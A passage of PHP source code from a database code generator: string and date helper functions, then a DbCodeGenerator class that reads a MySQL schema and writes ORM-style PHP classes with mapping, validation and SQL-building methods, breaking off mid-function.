':' . substr( $strD, 10, 2 ) . ':' . substr( $strD, 12, 2 ) ); if ( $nType == 4 ) return array( 0 + substr( $strD, 0, 4 ), 0 + substr( $strD, 4, 2 ), 0 + substr( $strD, 6, 2 ), 0 + substr( $strD, 8, 2 ), 0 + substr( $strD, 10, 2 ), 0 + substr( $strD, 12, 2 ) ); if ( $nType == 5 ) return substr( $strD, 6, 2 ) . '.' . substr( $strD, 4, 2 ) . "." . substr( $strD, 0, 4 ); if ( $nType == 6 ) return substr( $strD, 4, 2 ) . '/' . substr( $strD, 6, 2 ) . "/" . substr( $strD, 0, 4 ); return 'strDateTo(error)'; } static function strEndsWith( $strBig, $parts ) { $strBig = strtolower( $strBig ); if ( is_array( $parts ) ) { foreach ( $parts as $str ) if ( self::strEndsWith( $strBig, $str ) ) return true; } elseif ( ( $parts && is_string( $parts ) ) || is_numeric( $parts ) ) { $l = strlen( $strBig ); $l2 = strlen( $parts ); return $l2 < $l && substr( $strBig, -1 * $l2 ) == strtolower( $parts ); } return false; } static function strStartsWith( $strBig, $parts ) { $strBig = strtolower( $strBig ); if ( is_array( $parts ) ) { foreach ( $parts as $str ) if ( self::strStartsWith( $strBig, $str ) ) return true; } elseif ( ( $parts && is_string( $parts ) ) || is_numeric( $parts ) ) { return strtolower( $parts ) == substr( $strBig, 0, strlen( $parts ) ); } return false; } static function arraysTrimValues( $arr ) { if ( is_array( $arr ) ) foreach ( $arr as $k => $v ) $arr[ $k ] = trim( $v ); return $arr; } } 👽::init(); class_alias( '👽', 'Alien' ); <file_sep>/OutMask.php <?php class OutMask { public $strMask; }<file_sep>/DbCodeGenerator.php <?php require_once( 'Alien.php' ); require_once( 'DbGenUtils.php' ); class CodeGenColumn { /** * @var String Name of column in database */ var $_strNameDB; /** * @var String Name of column in php class */ var $_strNamePhp; /** * @var String comment */ var $_strComment; /** * @var flags of fields from table (e.g. "PRI") */ var $_strKey; /** * @var array enum values of fields from table */ var $_arrAllowedValues; /** * @var types of fields from table */ var $_strType; /** * @var flags if not null or null allowed */ var $_strNull; /** * @var extra infos */ var $_strExtra; /** * @var default value */ var $_strDefault; var $_strDefaultPhp; var $_strDefaultSql; var $_nDoEscape; var $_nIsNumeric; } class CodeGenTable { var $_arrColumns = array(); /** * @var String Name of table in database */ var $_strNameDB; /** * @var String Name of table in php class */ var $_strNamePhp; /** * @var String Name of table in php class */ var $_strAutoIncrCol; } /** */ class DbCodeGenerator { var $_strPath = ''; // with slash at the end var $_arrTables = array(); /** * @var bool debug mode on or off */ var $_debug = false; /** * @var String Table name prefix */ var $_strTablePrefix = "wzw_"; var $_strDabaseName = ''; /** * @var String Column name prefix */ var $_strColumnPrefix = ""; /** * @var string source code */ var $code; var $_fNoZeroDate = false; /** * constructor * stores all required mysql access data * * @param string $strPath dbgen/genfiles path absolute */ function __construct( $strPath = "./genfiles/" ) { if ( ! AlienDB::$_linkId ) { Log::error( 'No database connection', __METHOD__, __LINE__, __FILE__ ); return false; } if ( strlen( $strPath ) > 1 && substr( $strPath, -1 ) != "/" ) $strPath .= "/"; $this->_strPath = $strPath; $this->_strTablePrefix = Config::$_DB_PREFIX; $this->_strDabaseName = Config::$_DB_DB; $this->_debug = true; Log::always( 'Database connection successful.', __METHOD__, __LINE__, __FILE__ ); Log::always( 'getting database structure', __METHOD__, __LINE__, __FILE__ ); if ( ! $this->getDBStructure( Config::$_DB_DB ) ) { Log::error( 'Generation stopped', __METHOD__, __LINE__, __FILE__ ); } if ( ! $this->delOldFiles() ) { Log::error( 'Generation stopped', __METHOD__, __LINE__, __FILE__ ); } Log::always( 'source code creation starts...', __METHOD__, __LINE__, __FILE__ ); $this->createCode(); Log::always( 'source code creation finished', __METHOD__, __LINE__, __FILE__ ); } /** * Delete all previous generated files. */ function delOldFiles() { Log::info( 'started', __METHOD__, __LINE__, __FILE__ ); $tb = new CodeGenTable(); $fReturn = true; foreach ( $this->_arrTables as $tb ) { $strFilename = $this->_strPath . $tb->_strNamePhp . ".php"; if ( is_file( $strFilename ) ) { Log::always( "unlink $strFilename", __METHOD__, __LINE__, __FILE__ ); if ( unlink( $strFilename ) ) { Log::always( "unlink $strFilename", __METHOD__, __LINE__, __FILE__ ); } else { $fReturn = false; Log::error( "Can not unlink $strFilename", __METHOD__, __LINE__, __FILE__ ); } } } return $fReturn; } /** * connect to the database and get the table structure */ function getDBStructure( $strDatabase ) { Log::info( "Database successfully selected: $strDatabase", __METHOD__, __LINE__, __FILE__ ); $result = mysqli_query( AlienDB::$_linkId, 'SELECT @@GLOBAL.sql_mode global, @@SESSION.sql_mode session' ); if ( ! $result ) { return Log::error( 'Error getting sql_mode: ' . mysqli_error(), __METHOD__, __LINE__, __FILE__ ); } if ( $row = mysqli_fetch_row( $result ) ) { $strSqlMode = $row[ 0 ] . '/' . $row[ 1 ]; if ( stripos( $strSqlMode, 'NO_ZERO_IN_DATE' ) !== false || stripos( $strSqlMode, 'NO_ZERO_DATE' ) !== false ) { $this->_fNoZeroDate = true; } } mysqli_free_result( $result ); $result = mysqli_query( AlienDB::$_linkId, "show tables" ); if ( ! $result ) { return Log::error( 'Error getting table names: ' . mysqli_error(), __METHOD__, __LINE__, __FILE__ ); } while ( $row = mysqli_fetch_row( $result ) ) { $tb = new CodeGenTable(); $tb->_strNameDB = $row[ 0 ]; $tb->_strNamePhp = ucfirst( $this->rename( $row[ 0 ], $this->_strTablePrefix ) ); if ( is_numeric( substr( $tb->_strNamePhp, 0, 1 ) ) ) { $tb->_strNamePhp = $this->_strTablePrefix . $tb->_strNamePhp; } $this->_arrTables[] = $tb; } mysqli_free_result( $result ); foreach ( $this->_arrTables as $tb ) { $this->getTableStructure( $tb ); } return true; } function getGeneratedDefaultValue( $codeGenColumn ) { $t = self::getType( $codeGenColumn->_strType ); echo " t=$t<br>"; if ( $codeGenColumn->_strExtra == "auto_increment" ) { return array( 'null', "null" ); } if ( isset( $codeGenColumn->_strDefault ) ) { echo $codeGenColumn->_strNameDB . " def is set<br>\n"; if ( $codeGenColumn->_nIsNumeric ) { return array( $codeGenColumn->_strDefault, $codeGenColumn->_strDefault ); } elseif ( strtoupper( $codeGenColumn->_strDefault ) == 'CURRENT_TIMESTAMP' ) { return array( "'CURRENT_TIMESTAMP'", 'NOW()' ); } elseif ( strtoupper( $codeGenColumn->_strDefault ) == 'NULL' ) { return array( 'null', "null" ); } else { return array( "'" . $codeGenColumn->_strDefault . "'", "'" . $codeGenColumn->_strDefault . "'" ); } } if ( $codeGenColumn->_strNull == 'YES' ) { //echo $codeGenColumn->_strNameDB . " null<br>\n"; return array( "null", "NULL" ); } if ( strpos( $t, "enum" ) !== false ) { $str = Alien::strStringBetween( $codeGenColumn->_strType, "'", "'" ); return array( "'$str'", "'$str'" ); } if ( strpos( $t, "int" ) !== false || $t == "decimal" || $t == "float" || $t == "real" || $t == "double" ) { //echo $codeGenColumn->_strNameDB . " 0<br>\n"; return array( 0, 0 ); } if ( strpos( $t, "text" ) !== false || strpos( $t, "char" ) !== false || strpos( $t, "blob" ) !== false || strpos( $t, "binary" ) !== false ) { return array( "''", "''" ); } return array( "''", "''" ); } /** * connect to the database and get the table structure * * @access private */ function getTableStructure( CodeGenTable $tb ) { $result = mysqli_query( AlienDB::$_linkId, "EXPLAIN `" . $tb->_strNameDB . "`;" ); if ( ! $result ) return $this->debug( "EXPLAIN ERROR " . $tb->_strNameDB ); $this->debug( mysqli_num_rows( $result ) . ' data fields have been found.' ); echo "<pre>"; while ( $row = mysqli_fetch_assoc( $result ) ) { print_r( $row ); $codeGenColumn = new CodeGenColumn(); $codeGenColumn->_strNameDB = $row[ 'Field' ]; $codeGenColumn->_strNamePhp = $this->rename( $row[ 'Field' ], $this->_strColumnPrefix ); $codeGenColumn->_strKey = $row[ 'Key' ]; $codeGenColumn->_strType = $row[ 'Type' ]; $codeGenColumn->_strNull = $row[ 'Null' ]; $codeGenColumn->_strExtra = $row[ 'Extra' ]; $codeGenColumn->_strDefault = $row[ 'Default' ]; $codeGenColumn->_strDefaultPhp = 'set later'; $codeGenColumn->_strDefaultSql = 'set later';; $codeGenColumn->_nDoEscape = 1; $codeGenColumn->_nIsNumeric = 0; $codeGenColumn->_arrAllowedValues = array(); $t = self::getType( $codeGenColumn->_strType ); if ( strpos( $t, "int" ) !== false || $t == "decimal" || $t == "float" || $t == "real" || $t == "double" ) { $codeGenColumn->_nDoEscape = 0; $codeGenColumn->_nIsNumeric = 1; } if ( $row[ 'Extra' ] == 'auto_increment' ) { $tb->_strAutoIncrCol = $row[ 'Field' ]; } if ( strpos( $row[ 'Type' ], "enum" ) !== false ) { $values = substr( $row[ 'Type' ], 5, strlen( $row[ 'Type' ] ) - 6 ); // echo "values=$values"; $arr = array(); foreach ( explode( ",", $values ) as $v ) { if ( strlen( $v ) > 1 ) $arr[] = substr( $v, 1, strlen( $v ) - 2 ); } $codeGenColumn->_arrAllowedValues = $arr; } list( $codeGenColumn->_strDefaultPhp, $codeGenColumn->_strDefaultSql ) = $this->getGeneratedDefaultValue( $codeGenColumn ); print_r( $codeGenColumn ); $tb->_arrColumns[] = $codeGenColumn; } echo "</pre>"; mysqli_free_result( $result ); $result = mysqli_query( AlienDB::$_linkId, "select COLUMN_NAME, COLUMN_COMMENT from information_schema.COLUMNS where TABLE_NAME='" . $tb->_strNameDB . "';" ); if ( $result ) { while ( $row = mysqli_fetch_assoc( $result ) ) { foreach ( $tb->_arrColumns as $key => $codeGenColumn ) { if ( $codeGenColumn->_strNameDB == $row[ 'COLUMN_NAME' ] ) { $codeGenColumn->_strComment = $row[ 'COLUMN_COMMENT' ]; } } } mysqli_free_result( $result ); } } /** * simply code creation for all fields with their corresponding apidoc */ function createCode() { foreach ( $this->_arrTables as $tb ) { $this->createFileContent( $tb ); // echo "<Hr><pre>"; print_r(htmlentities($this->code));echo "</pre>"; $this->writeFile( $tb ); } } /** * simply code creation for all fields with their corresponding apidoc */ function createFileContent( CodeGenTable $tb ) { $this->code = array(); // 1st) header $this->code[] = '<?php'; //$this->code[] = "include_once 'DbGen.php';"; $this->code[] = '/**'; $this->code[] = ' * DO NOT CHANGE THIS FILE MANUALY!!!!!!!!!!!!'; $this->code[] = ' * Created on ' . date( 'd.m.Y' ); $this->code[] = ' * $Id$'; $this->code[] = ' */'; // 2nd) class header //$this->code[] = 'class '.$tb->_strNamePhp ." extends DbGen {"; $this->code[] = 'class ' . $tb->_strNamePhp . " {"; $this->code[] = ' /**'; $this->code[] = ' * Database table'; $this->code[] = ' * @access public'; $this->code[] = ' */'; $this->code[] = ' public static $TABLENAME = "' . $tb->_strNameDB . '";'; //$this->code[] = ' public static $DB_TB = "`' . $this->_strDabaseName .'`.`'.$tb->_strNameDB . '`";'; $this->code[] = " public static \$DBAUTOINCR = '" . $tb->_strAutoIncrCol . "';"; $this->code[] = ''; $this->code[] = ' public $_arrayObjects;'; $this->code[] = ' /**'; $this->code[] = ' * Not used! It is for YOU to add, fill this member.'; $this->code[] = ' * E.g. you can put here related objects into it.'; $this->code[] = ' * @access public'; $this->code[] = ' */'; $this->code[] = ''; $this->code[] = ' /* @var $_loadDbObj ' . $tb->_strNamePhp . ' */'; $this->code[] = ' public $_loadDbObj;'; // 3rd) private vars $codeGenColumn = new CodeGenColumn(); foreach ( $tb->_arrColumns as $codeGenColumn ) { /* $strDefault = "null"; $t = self::getType( $codeGenColumn->_strType ); if ( ! isset( $codeGenColumn->_strDefault ) ) { $strDefault = "null" ; } elseif ( strpos($t,"int")!==false || $t=="decimal" || $t=="float" || $t=="real" || $t=="double") { $strDefault = $codeGenColumn->_strDefault; } else { $strDefault = "'" . $codeGenColumn->_strDefault . "'" ; } */ $this->code[] = ' /**'; if ( $codeGenColumn->_strComment ) $this->code[] = ' * ' . $codeGenColumn->_strComment; if ( $codeGenColumn->_nIsNumeric ) { $this->code[] = " * @var numeric \t" . $codeGenColumn->_strType . " \t" . $codeGenColumn->_strNameDB; } else { $this->code[] = " * @var string \t" . $codeGenColumn->_strType . " \t" . $codeGenColumn->_strNameDB; } $this->code[] = ' */'; if ( $codeGenColumn->_nIsNumeric ) { $this->code[] = ' public $_' . $codeGenColumn->_strNamePhp . ' = 0;'; } else { $this->code[] = ' public $_' . $codeGenColumn->_strNamePhp . " = '';"; } $this->code[] = ' static $_' . strtoupper( $codeGenColumn->_strNamePhp ) . '_DEFAULT = ' . $codeGenColumn->_strDefaultPhp . ';'; if ( count( $codeGenColumn->_arrAllowedValues ) ) { $s = ""; foreach ( $codeGenColumn->_arrAllowedValues as $value ) { if ( $s ) $s .= ", "; $s .= "\"$value\""; $this->code[] = ' static $_' . strtoupper( $codeGenColumn->_strNamePhp . "_" . DbGenUtils::onlyAlphaNumeric( $value ) ) . "= '$value';"; } $this->code[] = ' static $_' . $codeGenColumn->_strNamePhp . '_values = array(' . $s . ');'; } $this->code[] = ''; } $this->code[] = ' /**'; $this->code[] = ' * @var array DB-PHP-Mapping'; $this->code[] = ' */'; $s = $sConstructorExample = $sConstructorExample2 = $sConstructorExample3 = ""; foreach ( $tb->_arrColumns as $codeGenColumn ) { $s .= ( $s ? ', ' : '' ) . "'" . $codeGenColumn->_strNameDB . "'=>'_" . $codeGenColumn->_strNamePhp . "'"; $sConstructorExample .= ( $sConstructorExample ? ', ' : '' ) . '$' . $codeGenColumn->_strNamePhp; $sConstructorExample2 .= ( $sConstructorExample2 ? ', ' : '' ) . '"_' . $codeGenColumn->_strNamePhp . '" => "val"'; $sConstructorExample3 .= ( $sConstructorExample2 ? ', ' : '' ) . '"' . $codeGenColumn->_strNameDB . '" => "val"'; } $this->code[] = " static \$_MAPPING = array( $s );"; $this->code[] = ''; // clear $this->code[] = ' /**'; $this->code[] = ' * Set defaults'; $this->code[] = ' */'; $this->code[] = ' function clear() {'; $this->code[] = ' $emptyObj = new ' . $tb->_strNamePhp . '();'; $this->code[] = ' $this->_arrayObjects = array(); '; $this->code[] = ' unset( $this->_loadDbObj );'; $this->code[] = ' foreach ( self::$_MAPPING as $strMember ) $this->$strMember = $emptyObj->$strMember;'; $this->code[] = ' }'; $this->code[] = ''; $strConstruct = ''; foreach ( $tb->_arrColumns as $codeGenColumn ) { if ( $codeGenColumn->_strDefault && $codeGenColumn->_strDefault ) { $t = self::getType( $codeGenColumn->_strType ); if ( $t == "float" || $t == "double" || strpos( $t, "int" ) !== false || $t == "decimal" ) { if ( 0 + $codeGenColumn->_strDefault <> 0 ) { $strConstruct .= ' $this->_' . $codeGenColumn->_strNamePhp . '=' . $codeGenColumn->_strDefault . ";\n"; } } elseif ( strpos( $t, "enum" ) !== false || strpos( $t, "char" ) !== false || strpos( $t, "text" ) !== false || strpos( $t, "blob" ) !== false ) { $strConstruct .= ' $this->_' . $codeGenColumn->_strNamePhp . "='" . $codeGenColumn->_strDefault . "';\n"; } } } $this->code[] = ' /** * Three ways to call: * new ' . $tb->_strNamePhp . '( ' . $sConstructorExample . ' ) * new ' . $tb->_strNamePhp . '( array(' . $sConstructorExample2 . ' ) * new ' . $tb->_strNamePhp . '( array(' . $sConstructorExample3 . ' ) * First way, you need all parameters! * Second + third way number of parameters are optional. */ public function __construct() { ' . $strConstruct . ' $arrArgs = func_get_args(); $i = func_num_args(); if ( ! $i || ! isset( $arrArgs ) || ! isset( $arrArgs[0] ) ) return; if ( $i==1 && is_array( $arrArgs[0] ) ) { foreach ( $arrArgs[0] as $k => $v ) { if ( isset( self::$_MAPPING[$k] ) ) { $m = self::$_MAPPING[$k]; $this->$m = $v; } elseif (in_array($k, self::$_MAPPING)) { $this->$k = $v; } else $this->_arrayObjects["construct-error-$k"] = $v; } } elseif ( $i == count( self::$_MAPPING ) ) { $u=0; foreach (self::$_MAPPING as $strMember) { $this->$strMember = $arrArgs[$u++]; } } else $this->_arrayObjects["construct-error"] = $arrArgs; } '; // generate column names as String, eg: col1,col2,col3 $this->code[] = ' /**'; $this->code[] = ' * All database columns. Usefull in select part of a sql query. It adds the tablename to every column name.'; $this->code[] = ' * e.g. select t1.col1, t1.col2, t3.col3 from table t1 '; $this->code[] = ' * @param $strTablename string (optional) Name or shortname of table (optional)'; $this->code[] = ' * @param $arrDBCols array (optional) Columnnames'; $this->code[] = ' * @return string All database columns listed in one string (comma + space seperated)'; $this->code[] = ' */'; $this->code[] = ' static function dbColNames( $strTablename = "", $arrDBCols = "") {'; $this->code[] = ' if ( ! is_array( $arrDBCols ) ) $arrDBCols = array_keys( self::$_MAPPING );'; $this->code[] = ' $strReturn = "";'; $this->code[] = ' foreach( $arrDBCols as $strCol ) {'; $this->code[] = ' $strReturn .= ( $strReturn ? "," : "" ) . ( $strTablename ? "`$strTablename`.`$strCol` \'$strTablename.$strCol\'" : "`$strCol`" );'; $this->code[] = ' }'; $this->code[] = ' return $strReturn;'; $this->code[] = ' }'; $this->code[] = ''; // getter for tablename $this->code[] = ' /**'; $this->code[] = ' * @return string database table name'; $this->code[] = ' */'; $this->code[] = ' public function dbTbName() { return self::$TABLENAME; }'; $this->code[] = ' public function getStaticMember($strName) { return self::$$strName; }'; $this->code[] = ''; // generate set part as String, eg: col1,col2,col3 $this->code[] = ' /**'; $this->code[] = ' * Build a string with col1=value1, col2=value2,...'; $this->code[] = ' * @return string "set" part of an update sql query. Eg: dbColumn1=object.member1, dbColumn2=object.member2, ...'; $this->code[] = ' */'; $this->code[] = ' function dbSetCols() {'; $this->code[] = ' $s = "";'; $this->code[] = ' $fOnlyModified = isset( $this->_loadDbObj );'; $this->code[] = ' foreach ( self::$_MAPPING as $strDbCol => $strMember ) {'; $this->code[] = ' if ( $fOnlyModified && $this->$strMember !== $this->_loadDbObj->$strMember ) {'; $this->code[] = ' $s .= ( $s ? \', \' : \'\' ) . "`$strDbCol`=\'" . dbEscStr( $this->$strMember ) . "\'";'; $this->code[] = ' } elseif ( ! $fOnlyModified ) {'; $this->code[] = ' if ( isset( $this->$strMember ) ) {'; $this->code[] = ' $s .= ( $s ? \', \' : \'\' ) . "`$strDbCol`=\'" . dbEscStr( $this->$strMember ) . "\'";'; $this->code[] = ' } else {'; $this->code[] = ' $s .= ( $s ? \', \' : \'\' ) . "`$strDbCol`=\'\'";'; $this->code[] = ' } '; $this->code[] = ' }'; $this->code[] = ' }'; $this->code[] = ' return $s;'; $this->code[] = ' }'; $this->code[] = ''; $this->code[] = ''; // generate set part as String, eg: col1,col2,col3 $this->code[] = ' /**'; $this->code[] = ' * Read all member variables from $_REQUEST'; $this->code[] = ' * Format of variable: <classname>-<membername> ALL IN LOWERCASE!!!!!'; $this->code[] = ' * @param $strSuffix string Append this string to the key-variablename (usefull in loops, to add many obj to an array)'; $this->code[] = ' */'; $this->code[] = ' function readRequest( $strSuffix = "" ) {'; $this->code[] = ' $this->fromArray( $strSuffix, $_REQUEST );'; $this->code[] = ' }'; $this->code[] = ''; $this->code[] = ''; // generate set part as String, eg: col1,col2,col3 $this->code[] = ' /**'; $this->code[] = ' * Put all object members into the array'; $this->code[] = ' * Format of key-variable: <lowercase classname><suffix>-<membername>'; $this->code[] = ' * @param $strSuffix string Append this string to the key-variablename (useful in loops, to add many obj to an array)'; $this->code[] = ' * @param $arr array Add object members into this array.'; $this->code[] = ' * @return array'; $this->code[] = ' */'; $this->code[] = ' function toArray( $strSuffix = "", &$arr = array() ) {'; $this->code[] = ' $s = strtolower( __CLASS__ ) . $strSuffix . \'-\';'; $this->code[] = ' foreach ( self::$_MAPPING as $strMember ) {'; $this->code[] = ' if ( isset( $this->$strMember ) ) $arr[ $s.substr( $strMember, 1 ) ] = $this->$strMember;'; $this->code[] = ' else unset( $arr[ $s . substr( $strMember, 1 ) ] );'; $this->code[] = ' }'; $this->code[] = ' return $arr;'; $this->code[] = ' }'; $this->code[] = ''; $this->code[] = ' /**'; $this->code[] = ' * Convert to json string'; $this->code[] = ' * @param bool $fPrettyPrint'; $this->code[] = ' * @return false|string'; $this->code[] = ' */'; $this->code[] = ' function getJson( $fPrettyPrint = true ) {'; $this->code[] = ' $opt = $fPrettyPrint ? JSON_PRETTY_PRINT | JSON_PARTIAL_OUTPUT_ON_ERROR : JSON_PARTIAL_OUTPUT_ON_ERROR;'; $this->code[] = ' return json_encode( $this->getArray(), $opt );'; $this->code[] = ' }'; $this->code[] = ''; $this->code[] = ' /**'; $this->code[] = ' * @return array'; $this->code[] = ' */'; $this->code[] = ' function getArray() {'; $this->code[] = ' $arr = array();'; $this->code[] = ' foreach ( self::$_MAPPING as $strMember ) {'; $this->code[] = ' if ( isset( $this->$strMember ) ) $arr[ substr( $strMember, 1 ) ] = $this->$strMember;'; $this->code[] = ' else unset( $arr[ substr( $strMember, 1 ) ] );'; $this->code[] = ' }'; $this->code[] = ' return $arr;'; $this->code[] = ' }'; $this->code[] = ''; $this->code[] = ' /**'; $this->code[] = ' * Return print_r string'; $this->code[] = ' * @param boolean $fReturnString true: no output and return print_r as String.'; $this->code[] = ' * @return string'; $this->code[] = ' */'; $this->code[] = ' function print_r( $fReturnString = false ) {'; $this->code[] = ' return print_r( $this->getArray(), $fReturnString );'; $this->code[] = ' }'; // generate set part as String, eg: col1,col2,col3 $this->code[] = ' /**'; $this->code[] = ' * Read all object members from $arr'; $this->code[] = ' * Format of variable: <lowercase classname><suffix>-<membername>'; $this->code[] = ' * @param string $strSuffix Append this string to the key-variablename (usefull in loops, to add many obj to an array)'; $this->code[] = ' * @param array $arr Object members will be filled from that array.'; $this->code[] = ' */'; $this->code[] = ' function fromArray( $strSuffix="", &$arr ) {'; $this->code[] = ' if ( ! $arr || ! is_array( $arr ) ) { $this->clear(); return; }'; $this->code[] = ' $s = strtolower( __CLASS__ ) . $strSuffix . \'-\';'; $this->code[] = ' foreach ( self::$_MAPPING as $strMember ) {'; $this->code[] = ' $str = $s . substr( $strMember, 1 );'; $this->code[] = ' if ( isset( $arr[ $str ] ) ) $this->$strMember = $arr[ $str ]; else $this->$strMember = "";'; $this->code[] = ' }'; $this->code[] = ' }'; $this->code[] = ''; $this->code[] = ''; // generate set part as String, eg: col1,col2,col3 $this->code[] = ' /**'; $this->code[] = ' * Read all object members from $row.'; $this->code[] = ' * @param $row array Row should be a return value of mysqli_fetch_assoc();'; $this->code[] = ' * @param $strColPrefix string (Optional)'; $this->code[] = ' */'; $this->code[] = ' function fromDBRow( &$row, $strColPrefix = "") {'; $this->code[] = ' if ( ! $row || ! is_array( $row ) ) { $this->clear(); return; }'; $this->code[] = ' if ( $strColPrefix ) $strColPrefix .= ".";'; $this->code[] = ' foreach ( self::$_MAPPING as $strDbCol => $strMember ) {'; $this->code[] = ' if ( isset( $row[ $strColPrefix . $strDbCol ] ) ) $this->$strMember = $row[ $strColPrefix . $strDbCol ];'; $this->code[] = ' else $this->$strMember = "";'; $this->code[] = ' }'; $this->code[] = ' }'; $this->code[] = ''; // generate set part as String, eg: col1,col2,col3 $this->code[] = ' /**'; $this->code[] = ' * Read all object members from $row. $row should be a return value of mysqli_fetch_assoc();'; $this->code[] = ' * @param string $strWhere'; $this->code[] = ' * @param boolean $fCopy'; $this->code[] = ' * @return ' . $tb->_strNamePhp; $this->code[] = ' */'; $this->code[] = ' static function dbLoadSingle( $strWhere, $fCopy = false ) {'; $this->code[] = ' $obj = new ' . $tb->_strNamePhp . '();'; $this->code[] = ' $obj->dbLoad( $strWhere, $fCopy );'; $this->code[] = ' return $obj;'; $this->code[] = ' }'; $this->code[] = ''; $this->code[] = ' /**'; $this->code[] = ' * Make a copy of object and store it in this->_loadDbObj. Needed to identify value changes.'; $this->code[] = ' */'; $this->code[] = ' function setLoadDbObj() { $this->_loadDbObj = unserialize( serialize( $this ) ); }'; $this->code[] = ''; $this->code[] = ' /**'; $this->code[] = ' * Are members modified since setLoadDbObj() / dbLoadSingle()?'; $this->code[] = ' * @return boolean'; $this->code[] = ' */'; $this->code[] = ' function isModified() {'; $this->code[] = ' return isset( $this->_loadDbObj ) ? $this->toString() !== $this->_loadDbObj->toString() : true;'; $this->code[] = ' }'; $this->code[] = ''; $this->code[] = ' function dbLoad( $strWhere, $fCopy = false ) {'; $this->code[] = ' $this->_arrayObjects = array(); '; $this->code[] = ' $arrDummy = dbQueryOne( ' . $tb->_strNamePhp . '::selectSQL( $strWhere ) );'; $this->code[] = ' $this->fromDBRow( $arrDummy );'; $this->code[] = ' if ( $fCopy ) $this->setLoadDbObj(); else unset( $this->_loadDbObj );'; $this->code[] = ' return count( $arrDummy ) > 0;'; $this->code[] = ' }'; $this->code[] = ''; $this->code[] = ' /**'; $this->code[] = ' * check if all members have allowed values. '; $this->code[] = ' * return array of strings (error text strings] '; $this->code[] = ' */'; $this->code[] = ' function check() {'; $this->code[] = ' $arrErr = array();'; $strNumberCheck = ""; $strToBigCheck = ""; $strEnumCheck = ""; $strEmptyCheck = ""; foreach ( $tb->_arrColumns as $codeGenColumn ) { $t = self::getType( $codeGenColumn->_strType ); if ( $codeGenColumn->_strKey != "PRI" && $codeGenColumn->_strNull != "YES" && ( ! isset( $codeGenColumn->strDefault ) || ! $codeGenColumn->strDefault ) ) { $strEmptyCheck .= ( $strEmptyCheck ? ', ' : '' ) . '\'_' . $codeGenColumn->_strNamePhp . '\''; } if ( strpos( $t, "enum" ) !== false ) { $strEnumCheck .= ( $strEnumCheck ? ', ' : '' ) . '\'_' . $codeGenColumn->_strNamePhp . '\'=>self::$_' . $codeGenColumn->_strNamePhp . '_values'; } elseif ( $t == "int" || $t == "tinyint" || $t == "decimal" || $t == "smallint" || $t == "bigint" ) { $strNumberCheck .= ( $strNumberCheck ? ', ' : '' ) . '\'_' . $codeGenColumn->_strNamePhp . '\''; } elseif ( $t == "float" || $t == "double" ) { $this->code[] = " if(!DbGenUtils::isFloat(\$this->_" . $codeGenColumn->_strNamePhp . ")) {"; $this->code[] = " \$arrErr[\"" . $tb->_strNamePhp . "-" . $codeGenColumn->_strNamePhp . "\"]=\"NO FLOAT/DOUBLE\";"; $this->code[] = " }"; } $l = self::getLengthNumber( $codeGenColumn->_strType ); if ( $l && DbGenUtils::isNumber( $l ) && ( strpos( $t, "int" ) !== false || $t == "decimal" || strpos( $t, "char" ) !== false || strpos( $t, "text" ) !== false || strpos( $t, "blob" ) !== false ) ) { $strToBigCheck .= ( $strToBigCheck ? ', ' : '' ) . '\'_' . $codeGenColumn->_strNamePhp . '\'=>' . $l; } } if ( $strNumberCheck ) $this->code[] = ' $this->checkNumber( array(' . $strNumberCheck . '), $arrErr);'; if ( $strToBigCheck ) $this->code[] = ' $this->checkToBig( array(' . $strToBigCheck . '), $arrErr);'; if ( $strEnumCheck ) $this->code[] = ' $this->checkEnum( array(' . $strEnumCheck . '), $arrErr);'; if ( $strEmptyCheck ) $this->code[] = ' $this->checkEmpty( array(' . $strEmptyCheck . '), $arrErr);'; $this->code[] = ' return $arrErr;'; $this->code[] = ' }'; $this->code[] = ''; $this->code[] = ''; if ( $strEmptyCheck ) { $this->code[] = ' function checkEmpty( $arrMembers, $arrErr ) {'; $this->code[] = ' foreach ( $arrMembers as $strMember ) {'; $this->code[] = ' if ( ! isset( $this->$strMember ) || \'\' . $this->$strMember == \'\' ) $arrErr[ "' . $tb->_strNamePhp . '-" . substr( $strMember, 1 ) ] = "must have a value";'; $this->code[] = ' }'; $this->code[] = ' }'; } if ( $strNumberCheck ) { $this->code[] = ' function checkNumber( $arrMembers, $arrErr ) {'; $this->code[] = ' foreach ( $arrMembers as $strMember ) {'; $this->code[] = ' if ( ! DbGenUtils::isNumber( $this->$strMember ) ) $arrErr[ "' . $tb->_strNamePhp . '-" . substr( $strMember, 1 ) ] = "NO NUMBER";'; $this->code[] = ' }'; $this->code[] = ' }'; } if ( $strToBigCheck ) { $this->code[] = ' function checkToBig( $arrMembers, $arrErr ) {'; $this->code[] = ' foreach ( $arrMembers as $strMember => $nLen ) {'; $this->code[] = ' if ( isset( $this->$strMember ) && strlen( "" . $this->$strMember ) > $nLen ) $arrErr["' . $tb->_strNamePhp . '-" . substr( $strMember, 1 ) ] = "TO BIG";'; $this->code[] = ' }'; $this->code[] = ' }'; } if ( $strEnumCheck ) { $this->code[] = ' function checkEnum( $arrMembers, $arrErr ) {'; $this->code[] = ' foreach ( $arrMembers as $strMember => $arrValues ) {'; $this->code[] = ' if ( isset( $this->$strMember ) && $this->$strMember && ! in_array( $this->$strMember, $arrValues ) ) $arrErr[ "' . $tb->_strNamePhp . '-" . substr( $strMember, 1 ) ] = "BAD VALUE";'; $this->code[] = ' }'; $this->code[] = ' }'; } $this->code[] = ''; $this->code[] = ' /**'; $this->code[] = ' * @return string SQL Query for an insert command'; $this->code[] = ' */'; $this->code[] = ' function insertSQL() {'; if ( $tb->_strAutoIncrCol ) { $phpN = ''; foreach ( $tb->_arrColumns as $codeGenColumn ) { if ( $tb->_strAutoIncrCol == $codeGenColumn->_strNameDB ) { $phpN = $codeGenColumn->_strNamePhp; break; } } $neededComma = count( $tb->_arrColumns ) > 1 ? ',' : ''; $strAutoCol = "\".(\$this->_" . $phpN . "? '`" . $tb->_strAutoIncrCol . "`$neededComma ' : '').\""; $strAutoVal = "\".(\$this->_" . $phpN . "? (0+\$this->_" . $phpN . ").'$neededComma' : '').\""; } else $strAutoCol = $strAutoVal = ''; $s = ""; $s2 = ""; foreach ( $tb->_arrColumns as $codeGenColumn ) { if ( $tb->_strAutoIncrCol == $codeGenColumn->_strNameDB ) continue; $default = $codeGenColumn->_strDefault; $strComma = $s2 ? ",\"\n\t\t.\"" : ""; $s .= "$strComma `" . $codeGenColumn->_strNameDB . "`"; if ( $codeGenColumn->_strDefaultSql === 'NULL' ) { $s2 .= "$strComma \" .(isset(\$this->_" . $codeGenColumn->_strNamePhp . ")? \"'\".dbEscStr(\$this->_" . $codeGenColumn->_strNamePhp . ").\"'\":\"null\").\""; } elseif ( 